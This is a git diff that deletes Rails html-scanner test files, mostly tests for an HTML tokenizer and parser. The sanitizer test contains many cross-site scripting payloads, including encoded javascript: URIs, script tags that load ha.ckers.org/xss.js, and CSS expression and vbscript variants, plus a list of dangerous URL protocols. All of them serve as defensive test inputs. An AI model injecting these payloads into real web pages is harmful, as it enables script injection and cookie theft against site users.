-    doc = HTML::Document.new("<tag></tag>")
-    assert_equal "<tag></tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_space_to_s
-    doc = HTML::Document.new("<tag> </tag>")
-    assert_equal "<tag> </tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_text_to_s
-    doc = HTML::Document.new("<tag>text</tag>")
-    assert_equal "<tag>text</tag>", doc.root.to_s
-  end
-
-  def test_tag_nesting_tag_to_s
-    doc = HTML::Document.new("<tag><nested /></tag>")
-    assert_equal "<tag><nested /></tag>", doc.root.to_s
-  end
-
-  def test_parse_cdata
-    doc = HTML::Document.new(<<-HTML)
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-  <head>
-    <title><![CDATA[<br>]]></title>
-   </head>
-  <body>
-    <p>this document has &lt;br&gt; for a title</p>
-  </body>
-</html>
-HTML
-
-    assert_nil doc.find(:tag => "title", :descendant => { :tag => "br" })
-    assert doc.find(:tag => "title", :child => "<br>")
-  end
-
-  def test_find_empty_tag
-    doc = HTML::Document.new("<div id='map'></div>")
-    assert_nil doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /./)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /\A\Z/)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => /^$/)
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => "")
-    assert doc.find(:tag => "div", :attributes => { :id => "map" }, :content => nil)
-  end
-
-  def test_parse_invalid_document
-    assert_nothing_raised do
-      doc = HTML::Document.new("<html>
-        <table>
-          <tr>
-            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
-          </tr>
-        </table>
-      </html>")
-    end
-  end
-
-  def test_invalid_document_raises_exception_when_strict
-    assert_raise RuntimeError do
-      doc = HTML::Document.new("<html>
-        <table>
-          <tr>
-            <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td>
-          </tr>
-        </table>
-      </html>", true)
-    end
-  end
-
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/node_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/node_test.rb
deleted file mode 100644
index b0df3687..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/node_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'abstract_unit'
-
-class NodeTest < Test::Unit::TestCase
-  
-  class MockNode
-    def initialize(matched, value)
-      @matched = matched
-      @value = value
-    end
-    
-    def find(conditions)
-      @matched && self
-    end
-    
-    def to_s
-      @value.to_s
-    end
-  end
-  
-  def setup
-    @node = HTML::Node.new("parent")
-    @node.children.concat [MockNode.new(false,1), MockNode.new(true,"two"), MockNode.new(false,:three)]
-  end
-  
-  def test_match
-    assert !@node.match("foo")
-  end
-  
-  def test_tag
-    assert !@node.tag?
-  end
-  
-  def test_to_s
-    assert_equal "1twothree", @node.to_s
-  end
-  
-  def test_find
-    assert_equal "two", @node.find('blah').to_s
-  end
-
-  def test_parse_strict
-    s = "<b foo='hello'' bar='baz'>"
-    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
-  end
-
-  def test_parse_relaxed
-    s = "<b foo='hello'' bar='baz'>"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert node.attributes.has_key?("foo")
-    assert !node.attributes.has_key?("bar")
-  end
-
-  def test_to_s_with_boolean_attrs
-    s = "<b foo bar>"
-    node = HTML::Node.parse(nil,0,0,s)
-    assert node.attributes.has_key?("foo")
-    assert node.attributes.has_key?("bar")
-    assert "<b foo bar>", node.to_s
-  end
-  
-  def test_parse_with_unclosed_tag
-    s = "<span onmouseover='bang'"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert node.attributes.has_key?("onmouseover")
-  end
-
-  def test_parse_with_valid_cdata_section
-    s = "<![CDATA[<span>contents</span>]]>"
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert_kind_of HTML::CDATA, node
-    assert_equal '<span>contents</span>', node.content
-  end
-
-  def test_parse_strict_with_unterminated_cdata_section
-    s = "<![CDATA[neverending..."
-    assert_raise(RuntimeError) { HTML::Node.parse(nil,0,0,s) }
-  end
-
-  def test_parse_relaxed_with_unterminated_cdata_section
-    s = "<![CDATA[neverending..."
-    node = nil
-    assert_nothing_raised { node = HTML::Node.parse(nil,0,0,s,false) }
-    assert_kind_of HTML::CDATA, node
-    assert_equal 'neverending...', node.content
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb
deleted file mode 100644
index 92032514..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/sanitizer_test.rb
+++ /dev/null
@@ -1,281 +0,0 @@
-require 'abstract_unit'
-
-class SanitizerTest < ActionController::TestCase
-  def setup
-    @sanitizer = nil # used by assert_sanitizer
-  end
-
-  def test_strip_tags_with_quote
-    sanitizer = HTML::FullSanitizer.new
-    string    = '<" <img src="trollface.gif" onload="alert(1)"> hi'
-
-    assert_equal ' hi', sanitizer.sanitize(string)
-  end
-
-  def test_strip_tags
-    sanitizer = HTML::FullSanitizer.new
-    assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
-    assert_equal("<<", sanitizer.sanitize("<<<bad html>"))
-    assert_equal("Dont touch me", sanitizer.sanitize("Dont touch me"))
-    assert_equal("This is a test.", sanitizer.sanitize("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
-    assert_equal("Weirdos", sanitizer.sanitize("Wei<<a>a onclick='alert(document.cookie);'</a>/>rdos"))
-    assert_equal("This is a test.", sanitizer.sanitize("This is a test."))
-    assert_equal(
-    %{This is a test.\n\n\nIt no longer contains any HTML.\n}, sanitizer.sanitize(
-    %{<title>This is <b>a <a href="" target="_blank">test</a></b>.</title>\n\n<!-- it has a comment -->\n\n<p>It no <b>longer <strong>contains <em>any <strike>HTML</strike></em>.</strong></b></p>\n}))
-    assert_equal "This has a  here.", sanitizer.sanitize("This has a <!-- comment --> here.")
-    assert_equal "This has a  here.", sanitizer.sanitize("This has a <![CDATA[<section>]]> here.")
-    assert_equal "This has an unclosed ", sanitizer.sanitize("This has an unclosed <![CDATA[<section>]] here...")
-    assert_equal "non printable char is a tag", sanitizer.sanitize("<\x07a href='/hello'>non printable char is a tag</a>")
-    [nil, '', '   '].each { |blank| assert_equal blank, sanitizer.sanitize(blank) }
-  end
-
-  def test_strip_links
-    sanitizer = HTML::LinkSanitizer.new
-    assert_equal "Dont touch me", sanitizer.sanitize("Dont touch me")    
-    assert_equal "on my mind\nall day long", sanitizer.sanitize("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
-    assert_equal "0wn3d", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'><a href='http://www.rubyonrails.com/' onlclick='steal()'>0wn3d</a></a>") 
-    assert_equal "Magic", sanitizer.sanitize("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic") 
-    assert_equal "FrrFox", sanitizer.sanitize("<href onlclick='steal()'>FrrFox</a></href>") 
-    assert_equal "My mind\nall <b>day</b> long", sanitizer.sanitize("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
-    assert_equal "all <b>day</b> long", sanitizer.sanitize("<<a>a href='hello'>all <b>day</b> long<</A>/a>")
-
-    assert_equal "<a<a", sanitizer.sanitize("<a<a")
-  end
-
-  def test_sanitize_form
-    assert_sanitized "<form action=\"/foo/bar\" method=\"post\"><input></form>", ''
-  end
-
-  def test_sanitize_plaintext
-    raw = "<plaintext><span>foo</span></plaintext>"
-    assert_sanitized raw, "<span>foo</span>"
-  end
-
-  def test_sanitize_script
-    assert_sanitized "a b c<script language=\"Javascript\">blah blah blah</script>d e f", "a b cd e f"
-  end
-
-  # fucked
-  def test_sanitize_js_handlers
-    raw = %{onthis="do that" <a href="#" onclick="hello" name="foo" onbogus="remove me">hello</a>}
-    assert_sanitized raw, %{onthis="do that" <a name="foo" href="#">hello</a>}
-  end
-
-  def test_sanitize_javascript_href
-    raw = %{href="javascript:bang" <a href="javascript:bang" name="hello">foo</a>, <span href="javascript:bang">bar</span>}
-    assert_sanitized raw, %{href="javascript:bang" <a name="hello">foo</a>, <span>bar</span>}
-  end
-  
-  def test_sanitize_image_src
-    raw = %{src="javascript:bang" <img src="javascript:bang" width="5">foo</img>, <span src="javascript:bang">bar</span>}
-    assert_sanitized raw, %{src="javascript:bang" <img width="5">foo</img>, <span>bar</span>}
-  end
-
-  HTML::WhiteListSanitizer.allowed_tags.each do |tag_name|
-    define_method "test_should_allow_#{tag_name}_tag" do
-      assert_sanitized "start <#{tag_name} title=\"1\" onclick=\"foo\">foo <bad>bar</bad> baz</#{tag_name}> end", %(start <#{tag_name} title="1">foo bar baz</#{tag_name}> end)
-    end
-  end
-
-  def test_should_allow_anchors
-    assert_sanitized %(<a href="foo" onclick="bar"><script>baz</script></a>), %(<a href="foo"></a>)
-  end
-
-  # RFC 3986, sec 4.2
-  def test_allow_colons_in_path_component
-    assert_sanitized("<a href=\"./this:that\">foo</a>")
-  end
-
-  %w(src width height alt).each do |img_attr|
-    define_method "test_should_allow_image_#{img_attr}_attribute" do
-      assert_sanitized %(<img #{img_attr}="foo" onclick="bar" />), %(<img #{img_attr}="foo" />)
-    end
-  end
-
-  def test_should_handle_non_html
-    assert_sanitized 'abc'
-  end
-
-  def test_should_handle_blank_text
-    assert_sanitized nil
-    assert_sanitized ''
-  end
-
-  def test_should_allow_custom_tags
-    text = "<u>foo</u>"
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text, :tags => %w(u)))
-  end
-
-  def test_should_allow_only_custom_tags
-    text = "<u>foo</u> with <i>bar</i>"
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal("<u>foo</u> with bar", sanitizer.sanitize(text, :tags => %w(u)))
-  end
-
-  def test_should_allow_custom_tags_with_attributes
-    text = %(<blockquote cite="http://example.com/">foo</blockquote>)
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text))
-  end
-
-  def test_should_allow_custom_tags_with_custom_attributes
-    text = %(<blockquote foo="bar">Lorem ipsum</blockquote>)
-    sanitizer = HTML::WhiteListSanitizer.new
-    assert_equal(text, sanitizer.sanitize(text, :attributes => ['foo']))
-  end
-
-  [%w(img src), %w(a href)].each do |(tag, attr)|
-    define_method "test_should_strip_#{attr}_attribute_in_#{tag}_with_bad_protocols" do
-      assert_sanitized %(<#{tag} #{attr}="javascript:bang" title="1">boo</#{tag}>), %(<#{tag} title="1">boo</#{tag}>)
-    end
-  end
-
-  def test_should_flag_bad_protocols
-    sanitizer = HTML::WhiteListSanitizer.new
-    %w(about chrome data disk hcp help javascript livescript lynxcgi lynxexec ms-help ms-its mhtml mocha opera res resource shell vbscript view-source vnd.ms.radio wysiwyg).each do |proto|
-      assert sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://bad")
-    end
-  end
-
-  def test_should_accept_good_protocols
-    sanitizer = HTML::WhiteListSanitizer.new
-    HTML::WhiteListSanitizer.allowed_protocols.each do |proto|
-      assert !sanitizer.send(:contains_bad_protocols?, 'src', "#{proto}://good")
-    end
-  end
-
-  def test_should_reject_hex_codes_in_protocol
-    assert_sanitized %(<a href="&#37;6A&#37;61&#37;76&#37;61&#37;73&#37;63&#37;72&#37;69&#37;70&#37;74&#37;3A&#37;61&#37;6C&#37;65&#37;72&#37;74&#37;28&#37;22&#37;58&#37;53&#37;53&#37;22&#37;29">1</a>), "<a>1</a>"
-    assert @sanitizer.send(:contains_bad_protocols?, 'src', "%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%22%58%53%53%22%29")
-  end
-
-  def test_should_block_script_tag
-    assert_sanitized %(<SCRIPT\nSRC=http://ha.ckers.org/xss.js></SCRIPT>), ""
-  end
-
-  [%(<IMG SRC="javascript:alert('XSS');">), 
-   %(<IMG SRC=javascript:alert('XSS')>), 
-   %(<IMG SRC=JaVaScRiPt:alert('XSS')>), 
-   %(<IMG """><SCRIPT>alert("XSS")</SCRIPT>">),
-   %(<IMG SRC=javascript:alert(&quot;XSS&quot;)>),
-   %(<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>),
-   %(<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>),
-   %(<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>),
-   %(<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>),
-   %(<IMG SRC="jav\tascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x09;ascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x0A;ascript:alert('XSS');">),
-   %(<IMG SRC="jav&#x0D;ascript:alert('XSS');">),
-   %(<IMG SRC=" &#14;  javascript:alert('XSS');">),
-   %(<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>)].each_with_index do |img_hack, i|
-    define_method "test_should_not_fall_for_xss_image_hack_#{i+1}" do
-      assert_sanitized img_hack, "<img>"
-    end
-  end
-  
-  def test_should_sanitize_tag_broken_up_by_null
-    assert_sanitized %(<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>), "alert(\"XSS\")"
-  end
-  
-  def test_should_sanitize_invalid_script_tag
-    assert_sanitized %(<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>), ""
-  end
-  
-  def test_should_sanitize_script_tag_with_multiple_open_brackets
-    assert_sanitized %(<<SCRIPT>alert("XSS");//<</SCRIPT>), "&lt;"
-    assert_sanitized %(<iframe src=http://ha.ckers.org/scriptlet.html\n<a), %(&lt;a)
-  end
-  
-  def test_should_sanitize_unclosed_script
-    assert_sanitized %(<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>), "<b>"
-  end
-  
-  def test_should_sanitize_half_open_scripts
-    assert_sanitized %(<IMG SRC="javascript:alert('XSS')"), "<img>"
-  end
-  
-  def test_should_not_fall_for_ridiculous_hack
-    img_hack = %(<IMG\nSRC\n=\n"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n"\n>)
-    assert_sanitized img_hack, "<img>"
-  end
-
-  # fucked
-  def test_should_sanitize_attributes
-    assert_sanitized %(<SPAN title="'><script>alert()</script>">blah</SPAN>), %(<span title="'&gt;&lt;script&gt;alert()&lt;/script&gt;">blah</span>)
-  end
-
-  def test_should_sanitize_illegal_style_properties
-    raw      = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
-    expected = %(display: block; width: 100%; height: 100%; background-color: black; background-image: ; background-x: center; background-y: center;)
-    assert_equal expected, sanitize_css(raw)
-  end
-
-  def test_should_sanitize_with_trailing_space
-    raw = "display:block; "
-    expected = "display: block;"
-    assert_equal expected, sanitize_css(raw)
-  end
-
-  def test_should_sanitize_xul_style_attributes
-    raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
-    assert_equal '', sanitize_css(raw)
-  end
-  
-  def test_should_sanitize_invalid_tag_names
-    assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
-  end
-  
-  def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
-    assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
-  end
-  
-  def test_should_sanitize_invalid_tag_names_in_single_tags
-    assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
-  end
-
-  def test_should_sanitize_img_dynsrc_lowsrc
-    assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
-  end
-
-  def test_should_sanitize_div_background_image_unicode_encoded
-    raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_div_style_expression
-    raw = %(width: expression(alert('XSS'));)
-    assert_equal '', sanitize_css(raw)
-  end
-
-  def test_should_sanitize_img_vbscript
-    assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
-  end
-
-  def test_should_sanitize_cdata_section
-    assert_sanitized "<![CDATA[<span>section</span>]]>", "&lt;![CDATA[&lt;span>section&lt;/span>]]>"
-  end
-
-  def test_should_sanitize_unterminated_cdata_section
-    assert_sanitized "<![CDATA[<span>neverending...", "&lt;![CDATA[&lt;span>neverending...]]>"
-  end
-
-  def test_should_not_mangle_urls_with_ampersand
-     assert_sanitized %{<a href=\"http://www.domain.com?var1=1&amp;var2=2\">my link</a>}
-  end
-
-protected
-  def assert_sanitized(input, expected = nil)
-    @sanitizer ||= HTML::WhiteListSanitizer.new
-    if input
-      assert_dom_equal expected || input, @sanitizer.sanitize(input)
-    else
-      assert_nil @sanitizer.sanitize(input)
-    end
-  end
-
-  def sanitize_css(input)
-    (@sanitizer ||= HTML::WhiteListSanitizer.new).sanitize_css(input)
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/tag_node_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/tag_node_test.rb
deleted file mode 100644
index d1d46673..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/tag_node_test.rb
+++ /dev/null
@@ -1,238 +0,0 @@
-require 'abstract_unit'
-
-class TagNodeTest < Test::Unit::TestCase
-  def test_open_without_attributes
-    node = tag("<tag>")
-    assert_equal "tag", node.name
-    assert_equal Hash.new, node.attributes
-    assert_nil node.closing
-  end
-  
-  def test_open_with_attributes
-    node = tag("<TAG1 foo=hey_ho x:bar=\"blah blah\" BAZ='blah blah blah' >")
-    assert_equal "tag1", node.name
-    assert_equal "hey_ho", node["foo"]
-    assert_equal "blah blah", node["x:bar"]
-    assert_equal "blah blah blah", node["baz"]
-  end
-  
-  def test_self_closing_without_attributes
-    node = tag("<tag/>")
-    assert_equal "tag", node.name
-    assert_equal Hash.new, node.attributes
-    assert_equal :self, node.closing
-  end
-  
-  def test_self_closing_with_attributes
-    node = tag("<tag a=b/>")
-    assert_equal "tag", node.name
-    assert_equal( { "a" => "b" }, node.attributes )
-    assert_equal :self, node.closing
-  end
-  
-  def test_closing_without_attributes
-    node = tag("</tag>")
-    assert_equal "tag", node.name
-    assert_nil node.attributes
-    assert_equal :close, node.closing
-  end
-  
-  def test_bracket_op_when_no_attributes
-    node = tag("</tag>")
-    assert_nil node["foo"]
-  end
-
-  def test_bracket_op_when_attributes
-    node = tag("<tag a=b/>")
-    assert_equal "b", node["a"]
-  end
-  
-  def test_attributes_with_escaped_quotes
-    node = tag("<tag a='b\\'c' b=\"bob \\\"float\\\"\">")
-    assert_equal "b\\'c", node["a"]
-    assert_equal "bob \\\"float\\\"", node["b"]
-  end
-  
-  def test_to_s
-    node = tag("<a b=c d='f' g=\"h 'i'\" />")
-    assert_equal %(<a b='c' d='f' g='h \\'i\\'' />), node.to_s
-  end
-  
-  def test_tag
-    assert tag("<tag>").tag?
-  end
-  
-  def test_match_tag_as_string
-    assert tag("<tag>").match(:tag => "tag")
-    assert !tag("<tag>").match(:tag => "b")
-  end
-  
-  def test_match_tag_as_regexp
-    assert tag("<tag>").match(:tag => /t.g/)
-    assert !tag("<tag>").match(:tag => /t[bqs]g/)
-  end
-
-  def test_match_attributes_as_string
-    t = tag("<tag a=something b=else />")
-    assert t.match(:attributes => {"a" => "something"})
-    assert t.match(:attributes => {"b" => "else"})
-  end
-  
-  def test_match_attributes_as_regexp
-    t = tag("<tag a=something b=else />")
-    assert t.match(:attributes => {"a" => /^something$/})
-    assert t.match(:attributes => {"b" =>  /e.*e/})
-    assert t.match(:attributes => {"a" => /me..i/, "b" => /.ls.$/})
-  end
-  
-  def test_match_attributes_as_number
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"a" => 15})
-    assert t.match(:attributes => {"b" => 3.1415})
-    assert t.match(:attributes => {"a" => 15, "b" => 3.1415})
-  end
-  
-  def test_match_attributes_exist
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"a" => true})
-    assert t.match(:attributes => {"b" => true})
-    assert t.match(:attributes => {"a" => true, "b" => true})
-  end
-  
-  def test_match_attributes_not_exist
-    t = tag("<tag a=15 b=3.1415 />")
-    assert t.match(:attributes => {"c" => false})
-    assert t.match(:attributes => {"c" => nil})
-    assert t.match(:attributes => {"a" => true, "c" => false})
-  end
-  
-  def test_match_parent_success
-    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
-    assert t.match(:parent => {:tag => "foo", :attributes => {"k" => /v.l/, "j" => false}})
-  end
-  
-  def test_match_parent_fail
-    t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
-    assert !t.match(:parent => {:tag => /kafka/})
-  end
-  
-  def test_match_child_success
-    t = tag("<tag x:k='something'>")
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert t.match(:child => { :tag => "sib", :attributes => {"v" => /j/}})
-    assert t.match(:child => { :attributes => {"a" => "kelly"}})
-  end
-  
-  def test_match_child_fail
-    t = tag("<tag x:k='something'>")
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert !t.match(:child => { :tag => "sib", :attributes => {"v" => /r/}})
-    assert !t.match(:child => { :attributes => {"v" => false}})
-  end
-  
-  def test_match_ancestor_success
-    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
-    assert t.match(:ancestor => {:tag => "parent", :attributes => {"a" => /ll/}})
-    assert t.match(:ancestor => {:attributes => {"m" => "vaughn"}})
-  end
-  
-  def test_match_ancestor_fail
-    t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
-    assert !t.match(:ancestor => {:tag => /^parent/, :attributes => {"v" => /m/}})
-    assert !t.match(:ancestor => {:attributes => {"v" => false}})
-  end
-
-  def test_match_descendant_success
-    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
-    assert t.match(:descendant => {:tag => "child", :attributes => {"a" => /ll/}})
-    assert t.match(:descendant => {:attributes => {"m" => "vaughn"}})
-  end
-  
-  def test_match_descendant_fail
-    tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
-    assert !t.match(:descendant => {:tag => /^child/, :attributes => {"v" => /m/}})
-    assert !t.match(:descendant => {:attributes => {"v" => false}})
-  end
-  
-  def test_match_child_count
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<child v=john a=kelly>", t)
-    tag("<sib m=vaughn v=james>", t)
-    assert t.match(:children => { :count => 2 })
-    assert t.match(:children => { :count => 2..4 })
-    assert t.match(:children => { :less_than => 4 })
-    assert t.match(:children => { :greater_than => 1 })
-    assert !t.match(:children => { :count => 3 })
-  end
-
-  def test_conditions_as_strings
-    t = tag("<tag x:k='something'>")
-    assert t.match("tag" => "tag")
-    assert t.match("attributes" => { "x:k" => "something" })
-    assert !t.match("tag" => "gat")
-    assert !t.match("attributes" => { "x:j" => "something" })
-  end
-
-  def test_attributes_as_symbols
-    t = tag("<child v=john a=kelly>")
-    assert t.match(:attributes => { :v => /oh/ })
-    assert t.match(:attributes => { :a => /ll/ })
-  end
-
-  def test_match_sibling
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:sibling => {:tag => "span", :attributes => {:a => true}})
-    assert m.match(:sibling => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:sibling => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_match_sibling_before
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:before => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:before => {:tag => "span", :attributes => {:a => true}})
-    assert !m.match(:before => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_match_sibling_after
-    t = tag("<tag x:k='something'>")
-    tag("hello", t)
-    tag("<span a=b>", t)
-    tag("world", t)
-    m = tag("<span k=r>", t)
-    tag("<span m=l>", t)
-
-    assert m.match(:after => {:tag => "span", :attributes => {:a => true}})
-    assert !m.match(:after => {:tag => "span", :attributes => {:m => true}})
-    assert !m.match(:after => {:tag => "span", :attributes => {:k => true}})
-  end
-
-  def test_to_s
-    t = tag("<b x='foo'>")
-    tag("hello", t)
-    tag("<hr />", t)
-    assert_equal %(<b x="foo">hello<hr /></b>), t.to_s
-  end
-
-  private
-  
-    def tag(content, parent=nil)
-      node = HTML::Node.parse(parent,0,0,content)
-      parent.children << node if parent
-      node
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/text_node_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/text_node_test.rb
deleted file mode 100644
index 1ab3f445..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/text_node_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'abstract_unit'
-
-class TextNodeTest < Test::Unit::TestCase
-  def setup
-    @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
-  end
-  
-  def test_to_s
-    assert_equal "hello, howdy, aloha, annyeong", @node.to_s
-  end
-  
-  def test_find_string
-    assert_equal @node, @node.find("hello, howdy, aloha, annyeong")
-    assert_equal false, @node.find("bogus")
-  end
-  
-  def test_find_regexp
-    assert_equal @node, @node.find(/an+y/)
-    assert_nil @node.find(/b/)
-  end
-  
-  def test_find_hash
-    assert_equal @node, @node.find(:content => /howdy/)
-    assert_nil @node.find(:content => /^howdy$/)
-    assert_equal false, @node.find(:content => "howdy")
-  end
-  
-  def test_find_other
-    assert_nil @node.find(:hello)
-  end
-
-  def test_match_string
-    assert @node.match("hello, howdy, aloha, annyeong")
-    assert_equal false, @node.match("bogus")
-  end
-
-  def test_match_regexp
-    assert_not_nil @node, @node.match(/an+y/)
-    assert_nil @node.match(/b/)
-  end
-
-  def test_match_hash
-    assert_not_nil @node, @node.match(:content => "howdy")
-    assert_nil @node.match(:content => /^howdy$/)
-  end
-
-  def test_match_other
-    assert_nil @node.match(:hello)
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/html-scanner/tokenizer_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/tokenizer_test.rb
deleted file mode 100644
index a001bcbb..00000000
--- a/vendor/rails/actionpack/test/controller/html-scanner/tokenizer_test.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require 'abstract_unit'
-
-class TokenizerTest < Test::Unit::TestCase
-
-  def test_blank
-    tokenize ""
-    assert_end
-  end
-
-  def test_space
-    tokenize " "
-    assert_next " "
-    assert_end
-  end
-
-  def test_tag_simple_open
-    tokenize "<tag>"
-    assert_next "<tag>"
-    assert_end
-  end
-
-  def test_tag_simple_self_closing
-    tokenize "<tag />"
-    assert_next "<tag />"
-    assert_end
-  end
-
-  def test_tag_simple_closing
-    tokenize "</tag>"
-    assert_next "</tag>"
-  end
-  
-  def test_tag_with_single_quoted_attribute
-    tokenize %{<tag a='hello'>x}
-    assert_next %{<tag a='hello'>}
-  end
-
-  def test_tag_with_single_quoted_attribute_with_escape
-    tokenize %{<tag a='hello\\''>x}
-    assert_next %{<tag a='hello\\''>}
-  end
-
-  def test_tag_with_double_quoted_attribute
-    tokenize %{<tag a="hello">x}
-    assert_next %{<tag a="hello">}
-  end
-
-  def test_tag_with_double_quoted_attribute_with_escape
-    tokenize %{<tag a="hello\\"">x}
-    assert_next %{<tag a="hello\\"">}
-  end
-  
-  def test_tag_with_unquoted_attribute
-    tokenize %{<tag a=hello>x}
-    assert_next %{<tag a=hello>}
-  end
-
-  def test_tag_with_lt_char_in_attribute
-    tokenize %{<tag a="x < y">x}
-    assert_next %{<tag a="x < y">}
-  end
-  
-  def test_tag_with_gt_char_in_attribute
-    tokenize %{<tag a="x > y">x}
-    assert_next %{<tag a="x > y">}
-  end
-  
